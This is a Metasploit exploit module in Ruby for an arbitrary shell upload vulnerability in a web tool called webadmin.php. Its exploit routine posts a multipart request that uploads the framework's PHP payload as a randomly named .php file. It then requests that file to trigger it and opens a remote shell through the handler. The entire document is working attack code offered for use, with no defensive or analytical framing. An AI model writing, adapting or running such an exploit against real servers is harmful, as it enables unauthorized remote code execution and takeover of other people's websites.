shell upload

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
    Rank = GreatRanking

    include Msf::Exploit::Remote::Tcp
    include Msf::Exploit::Remote::HttpClient

    def initialize(info = {})
        super(update_info(info,
            'Name'           => 'webadmin <= Shell Upload Vulnerability',
            'Description'    => %q{
            This module exploits an arbitrary shell upload vulnerability in
            the webadmin.php
            },
            'Author'         => [ 'Caddy-Dz' ],
			'License'        => MSF_LICENSE,
            'References'     => ["http://wacker-welt.de/webadmin/webadmin.php.gz" ],
            'Privileged'     => false,
            'Payload'        =>
                {
                    'DisableNops' => true,
                },
            'Platform'       => 'php',
            'Arch'           => ARCH_PHP,
            'Targets'        => [[ 'Automatic', { }]],
            'DefaultTarget' => 0,
            'DisclosureDate' => 'Sept 13, 2011'
            ))

        register_options([
                OptString.new('URI', [true, "Path to webadmin ", "/"]),
            ], self.class)
    end

    def exploit
        boundary = rand_text_alphanumeric(6)
        fn = rand_text_alphanumeric(8)
        data = "--#{boundary}\r\nContent-Disposition: form-data; name=\"Filedata\"; "
        data << "filename=\"#{fn}.php\"\r\nContent-Type: application/x-httpd-php\r\n\r\n"
        data << payload.encoded
        data << "\r\n--#{boundary}--"

        res = send_request_raw({
            'uri'     => datastore['URI'] + "/webadmin.php",
            'method'  => 'POST',
            'data'    => data,
            'headers' =>
            {
                'Content-Type'   => 'multipart/form-data; boundary=' + boundary,
                'Content-Length' => data.length,
            }
        }, 25)

        if (res)
            print_status("Successfully uploaded shell.")
            shell_path = res.body.split("_")[0]
            print_status("Trying to access shell at #{shell_path}...")
            res = send_request_raw({
                'uri'     => datastore['URI'] + shell_path,
                'method'  => 'GET',
            }, 0.01)

        else
            print_error("Error uploading shell")
        end

        handler
    end
end